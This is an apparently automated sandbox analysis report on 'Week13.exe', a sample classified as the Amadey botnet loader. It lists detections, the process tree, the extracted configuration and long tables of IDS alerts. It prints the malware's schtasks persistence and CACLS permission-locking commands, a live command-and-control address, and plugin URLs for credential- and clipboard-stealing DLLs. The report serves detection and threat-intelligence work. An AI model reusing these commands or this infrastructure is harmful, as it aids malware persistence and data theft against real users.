Edit tour

Windows Analysis Report
Week13.exe

Overview

General Information

Sample name:	Week13.exe
Analysis ID:	1561581
MD5:	a1b8fa53a47b1991ee76a46ee8685b7d
SHA1:	4002a9cffcde9f7f44633457457792564a63bf5d
SHA256:	e472fd69b5a891059f44206124baf829cb7583890e2c8e288e311359a2249871
Infos:

Detection

Amadey

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey bot

Yara detected Amadeys stealer DLL

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

Machine Learning detection for sample

Uses schtasks.exe or at.exe to add and modify task schedules

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses cacls to modify the permissions of files

Classification

Process Tree

System is w10x64

Week13.exe (PID: 4712 cmdline: "C:\Users\user\Desktop\Week13.exe" MD5: A1B8FA53A47B1991EE76A46EE8685B7D)

oneetx.exe (PID: 6160 cmdline: "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe" MD5: A1B8FA53A47B1991EE76A46EE8685B7D)

schtasks.exe (PID: 6592 cmdline: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 1252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5024 cmdline: "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "user:N"&&CACLS "oneetx.exe" /P "user:R" /E&&echo Y|CACLS "..\cb7ae701b3" /P "user:N"&&CACLS "..\cb7ae701b3" /P "user:R" /E&&Exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5332 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo Y" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cacls.exe (PID: 2276 cmdline: CACLS "oneetx.exe" /P "user:N" MD5: 00BAAE10C69DAD58F169A3ED638D6C59)

cacls.exe (PID: 6584 cmdline: CACLS "oneetx.exe" /P "user:R" /E MD5: 00BAAE10C69DAD58F169A3ED638D6C59)

cmd.exe (PID: 5008 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo Y" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cacls.exe (PID: 6628 cmdline: CACLS "..\cb7ae701b3" /P "user:N" MD5: 00BAAE10C69DAD58F169A3ED638D6C59)

cacls.exe (PID: 1120 cmdline: CACLS "..\cb7ae701b3" /P "user:R" /E MD5: 00BAAE10C69DAD58F169A3ED638D6C59)

oneetx.exe (PID: 3788 cmdline: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe MD5: A1B8FA53A47B1991EE76A46EE8685B7D)

oneetx.exe (PID: 5068 cmdline: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe MD5: A1B8FA53A47B1991EE76A46EE8685B7D)

oneetx.exe (PID: 4204 cmdline: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe MD5: A1B8FA53A47B1991EE76A46EE8685B7D)

oneetx.exe (PID: 5820 cmdline: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe MD5: A1B8FA53A47B1991EE76A46EE8685B7D)

oneetx.exe (PID: 6464 cmdline: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe MD5: A1B8FA53A47B1991EE76A46EE8685B7D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": "193.3.19.154/store/games/index.php", "Version": "3.80", "Install Folder": "cb7ae701b3", "Install File": "oneetx.exe"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Week13.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.2018110902.0000000000611000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000000.2659622976.0000000000891000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2024090733.0000000000611000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.4482643286.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000011.00000000.3258747374.0000000000891000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.2072680147.0000000000891000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000010.00000002.2661827573.0000000000891000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000002.3859111470.0000000000891000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.4482407558.0000000000891000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000000.3858755574.0000000000891000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000001.00000002.4482643286.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000013.00000000.4459397310.0000000000891000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000000.2023252824.0000000000891000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.4464203230.0000000000891000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.3259452857.0000000000891000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000000.2068747205.0000000000891000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: oneetx.exe PID: 6160	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Click to see the 14 entries

Sigma Signatures

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F, CommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe, ParentProcessId: 6160, ParentProcessName: oneetx.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F, ProcessId: 6592, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Suricata Signatures

ET MALWARE Amadey CnC Check-In

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:52:56.688685+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50036	193.3.19.154	80	TCP
2024-11-23T20:53:04.143083+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49705	193.3.19.154	80	TCP
2024-11-23T20:53:08.382363+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49706	193.3.19.154	80	TCP
2024-11-23T20:53:12.626323+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49707	193.3.19.154	80	TCP
2024-11-23T20:53:16.860879+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49709	193.3.19.154	80	TCP
2024-11-23T20:53:21.095201+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49712	193.3.19.154	80	TCP
2024-11-23T20:53:25.313904+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49722	193.3.19.154	80	TCP
2024-11-23T20:53:29.579693+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49733	193.3.19.154	80	TCP
2024-11-23T20:53:33.829480+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49741	193.3.19.154	80	TCP
2024-11-23T20:53:38.073084+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49752	193.3.19.154	80	TCP
2024-11-23T20:53:42.313889+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49764	193.3.19.154	80	TCP
2024-11-23T20:53:46.532660+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49775	193.3.19.154	80	TCP
2024-11-23T20:53:50.782734+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49787	193.3.19.154	80	TCP
2024-11-23T20:53:55.042480+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49794	193.3.19.154	80	TCP
2024-11-23T20:53:59.298221+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49804	193.3.19.154	80	TCP
2024-11-23T20:54:03.548223+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49815	193.3.19.154	80	TCP
2024-11-23T20:54:07.798356+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49826	193.3.19.154	80	TCP
2024-11-23T20:54:12.048318+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49837	193.3.19.154	80	TCP
2024-11-23T20:54:16.282841+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49848	193.3.19.154	80	TCP
2024-11-23T20:54:20.533150+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49859	193.3.19.154	80	TCP
2024-11-23T20:54:24.851912+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49867	193.3.19.154	80	TCP
2024-11-23T20:54:29.157698+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49878	193.3.19.154	80	TCP
2024-11-23T20:54:33.560630+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49887	193.3.19.154	80	TCP
2024-11-23T20:54:37.814020+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49898	193.3.19.154	80	TCP
2024-11-23T20:54:42.064285+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49909	193.3.19.154	80	TCP
2024-11-23T20:54:46.314044+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49920	193.3.19.154	80	TCP
2024-11-23T20:54:50.563900+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49930	193.3.19.154	80	TCP
2024-11-23T20:54:54.816557+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49940	193.3.19.154	80	TCP
2024-11-23T20:54:57.550787+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49950	193.3.19.154	80	TCP
2024-11-23T20:55:01.782905+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49958	193.3.19.154	80	TCP
2024-11-23T20:55:06.032766+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49967	193.3.19.154	80	TCP
2024-11-23T20:55:10.291064+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49976	193.3.19.154	80	TCP
2024-11-23T20:55:14.517087+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49987	193.3.19.154	80	TCP
2024-11-23T20:55:18.770958+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	49998	193.3.19.154	80	TCP
2024-11-23T20:55:23.026943+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50009	193.3.19.154	80	TCP
2024-11-23T20:55:27.284604+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50016	193.3.19.154	80	TCP
2024-11-23T20:55:31.534796+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50017	193.3.19.154	80	TCP
2024-11-23T20:55:35.782914+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50018	193.3.19.154	80	TCP
2024-11-23T20:55:40.001425+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50019	193.3.19.154	80	TCP
2024-11-23T20:55:44.236221+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50020	193.3.19.154	80	TCP
2024-11-23T20:55:48.526834+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50021	193.3.19.154	80	TCP
2024-11-23T20:55:52.784639+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50022	193.3.19.154	80	TCP
2024-11-23T20:55:57.136097+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50023	193.3.19.154	80	TCP
2024-11-23T20:56:01.438981+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50024	193.3.19.154	80	TCP
2024-11-23T20:56:05.680904+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50025	193.3.19.154	80	TCP
2024-11-23T20:56:09.923228+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50026	193.3.19.154	80	TCP
2024-11-23T20:56:14.164217+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50027	193.3.19.154	80	TCP
2024-11-23T20:56:18.455177+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50028	193.3.19.154	80	TCP
2024-11-23T20:56:22.706673+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50029	193.3.19.154	80	TCP
2024-11-23T20:56:26.956810+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50030	193.3.19.154	80	TCP
2024-11-23T20:56:31.204734+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50031	193.3.19.154	80	TCP
2024-11-23T20:56:35.454542+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50032	193.3.19.154	80	TCP
2024-11-23T20:56:39.694587+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50033	193.3.19.154	80	TCP
2024-11-23T20:56:43.907721+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50034	193.3.19.154	80	TCP
2024-11-23T20:56:48.157989+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.5	50035	193.3.19.154	80	TCP

ET MALWARE Win32/Amadey Bot Activity (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:52:56.688685+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50036	193.3.19.154	80	TCP
2024-11-23T20:53:04.143083+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49705	193.3.19.154	80	TCP
2024-11-23T20:53:08.382363+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49706	193.3.19.154	80	TCP
2024-11-23T20:53:12.626323+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49707	193.3.19.154	80	TCP
2024-11-23T20:53:16.860879+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49709	193.3.19.154	80	TCP
2024-11-23T20:53:21.095201+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49712	193.3.19.154	80	TCP
2024-11-23T20:53:25.313904+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49722	193.3.19.154	80	TCP
2024-11-23T20:53:29.579693+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49733	193.3.19.154	80	TCP
2024-11-23T20:53:33.829480+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49741	193.3.19.154	80	TCP
2024-11-23T20:53:38.073084+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49752	193.3.19.154	80	TCP
2024-11-23T20:53:42.313889+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49764	193.3.19.154	80	TCP
2024-11-23T20:53:46.532660+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49775	193.3.19.154	80	TCP
2024-11-23T20:53:50.782734+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49787	193.3.19.154	80	TCP
2024-11-23T20:53:55.042480+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49794	193.3.19.154	80	TCP
2024-11-23T20:53:59.298221+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49804	193.3.19.154	80	TCP
2024-11-23T20:54:03.548223+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49815	193.3.19.154	80	TCP
2024-11-23T20:54:07.798356+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49826	193.3.19.154	80	TCP
2024-11-23T20:54:12.048318+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49837	193.3.19.154	80	TCP
2024-11-23T20:54:16.282841+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49848	193.3.19.154	80	TCP
2024-11-23T20:54:20.533150+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49859	193.3.19.154	80	TCP
2024-11-23T20:54:24.851912+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49867	193.3.19.154	80	TCP
2024-11-23T20:54:29.157698+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49878	193.3.19.154	80	TCP
2024-11-23T20:54:33.560630+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49887	193.3.19.154	80	TCP
2024-11-23T20:54:37.814020+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49898	193.3.19.154	80	TCP
2024-11-23T20:54:42.064285+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49909	193.3.19.154	80	TCP
2024-11-23T20:54:46.314044+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49920	193.3.19.154	80	TCP
2024-11-23T20:54:50.563900+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49930	193.3.19.154	80	TCP
2024-11-23T20:54:54.816557+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49940	193.3.19.154	80	TCP
2024-11-23T20:54:57.550787+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49950	193.3.19.154	80	TCP
2024-11-23T20:55:01.782905+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49958	193.3.19.154	80	TCP
2024-11-23T20:55:06.032766+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49967	193.3.19.154	80	TCP
2024-11-23T20:55:10.291064+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49976	193.3.19.154	80	TCP
2024-11-23T20:55:14.517087+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49987	193.3.19.154	80	TCP
2024-11-23T20:55:18.770958+0100	2045751	1	A Network Trojan was detected	192.168.2.5	49998	193.3.19.154	80	TCP
2024-11-23T20:55:23.026943+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50009	193.3.19.154	80	TCP
2024-11-23T20:55:27.284604+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50016	193.3.19.154	80	TCP
2024-11-23T20:55:31.534796+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50017	193.3.19.154	80	TCP
2024-11-23T20:55:35.782914+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50018	193.3.19.154	80	TCP
2024-11-23T20:55:40.001425+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50019	193.3.19.154	80	TCP
2024-11-23T20:55:44.236221+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50020	193.3.19.154	80	TCP
2024-11-23T20:55:48.526834+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50021	193.3.19.154	80	TCP
2024-11-23T20:55:52.784639+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50022	193.3.19.154	80	TCP
2024-11-23T20:55:57.136097+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50023	193.3.19.154	80	TCP
2024-11-23T20:56:01.438981+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50024	193.3.19.154	80	TCP
2024-11-23T20:56:05.680904+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50025	193.3.19.154	80	TCP
2024-11-23T20:56:09.923228+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50026	193.3.19.154	80	TCP
2024-11-23T20:56:14.164217+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50027	193.3.19.154	80	TCP
2024-11-23T20:56:18.455177+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50028	193.3.19.154	80	TCP
2024-11-23T20:56:22.706673+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50029	193.3.19.154	80	TCP
2024-11-23T20:56:26.956810+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50030	193.3.19.154	80	TCP
2024-11-23T20:56:31.204734+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50031	193.3.19.154	80	TCP
2024-11-23T20:56:35.454542+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50032	193.3.19.154	80	TCP
2024-11-23T20:56:39.694587+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50033	193.3.19.154	80	TCP
2024-11-23T20:56:43.907721+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50034	193.3.19.154	80	TCP
2024-11-23T20:56:48.157989+0100	2045751	1	A Network Trojan was detected	192.168.2.5	50035	193.3.19.154	80	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T20:53:04.143141+0100	2803305	3	Unknown Traffic	192.168.2.5	49704	193.3.19.154	80	TCP
2024-11-23T20:53:12.626276+0100	2803305	3	Unknown Traffic	192.168.2.5	49708	193.3.19.154	80	TCP
2024-11-23T20:53:21.095122+0100	2803305	3	Unknown Traffic	192.168.2.5	49714	193.3.19.154	80	TCP
2024-11-23T20:53:29.579645+0100	2803305	3	Unknown Traffic	192.168.2.5	49735	193.3.19.154	80	TCP
2024-11-23T20:53:38.073133+0100	2803305	3	Unknown Traffic	192.168.2.5	49754	193.3.19.154	80	TCP
2024-11-23T20:53:46.532797+0100	2803305	3	Unknown Traffic	192.168.2.5	49776	193.3.19.154	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Week13.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://193.3.19.154/store/games/index.php1mb3JtLXVybGVuY29kZWQ=N	Avira URL Cloud: Label: malware
Source: http://193.3.19.154/store/games/index.phpc	Avira URL Cloud: Label: malware
Source: http://193.3.19.154/store/games/index.phpd	Avira URL Cloud: Label: malware
Source: http://193.3.19.154/store/games/index.phppdR	Avira URL Cloud: Label: malware
Source: http://193.3.19.154/store/games/index.phppd	Avira URL Cloud: Label: malware
Source: http://193.3.19.154/store/games/index.phpe5a2ab05	Avira URL Cloud: Label: malware
Source: http://193.3.19.154/store/games/index.php	Avira URL Cloud: Label: malware
Source: http://193.3.19.154/store/games/Plugins/cred64.dllx	Avira URL Cloud: Label: malware
Source: http://193.3.19.154/store/games/Plugins/cred64.dll	Avira URL Cloud: Label: malware
Source: http://193.3.19.154/store/games/index.php1mb3JtLXVybGVuY29kZWQ=	Avira URL Cloud: Label: malware
Source: http://193.3.19.154/store/games/Plugins/clip64.dllYS2	Avira URL Cloud: Label: malware
Source: http://193.3.19.154/store/games/index.phpt	Avira URL Cloud: Label: malware
Source: http://193.3.19.154/store/games/index.phpded	Avira URL Cloud: Label: malware
Source: http://193.3.19.154/store/games/Plugins/clip64.dll	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Avira: detection malicious, Label: HEUR/AGEN.1317762

Found malware configuration

Source: Week13.exe

Malware Configuration Extractor: Amadey {"C2 url": "193.3.19.154/store/games/index.php", "Version": "3.80", "Install Folder": "cb7ae701b3", "Install File": "oneetx.exe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

ReversingLabs: Detection: 91%

Multi AV Scanner detection for submitted file

Source: Week13.exe

ReversingLabs: Detection: 91%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Week13.exe

Joe Sandbox ML: detected

Source: Week13.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Week13.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: D:\Mktmp\Amadey\Release\Amadey.pdb source: Week13.exe, oneetx.exe.0.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49733 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49712 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49712 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49733 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49815 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49815 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49804 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49764 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49706 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49706 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49709 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49709 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2045751 - Severity 1 - ET MALWARE Win32/Amadey Bot Activity (POST) M2 : 192.168.2.5:49804 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.5:49787 -> 193.3.19.154:80
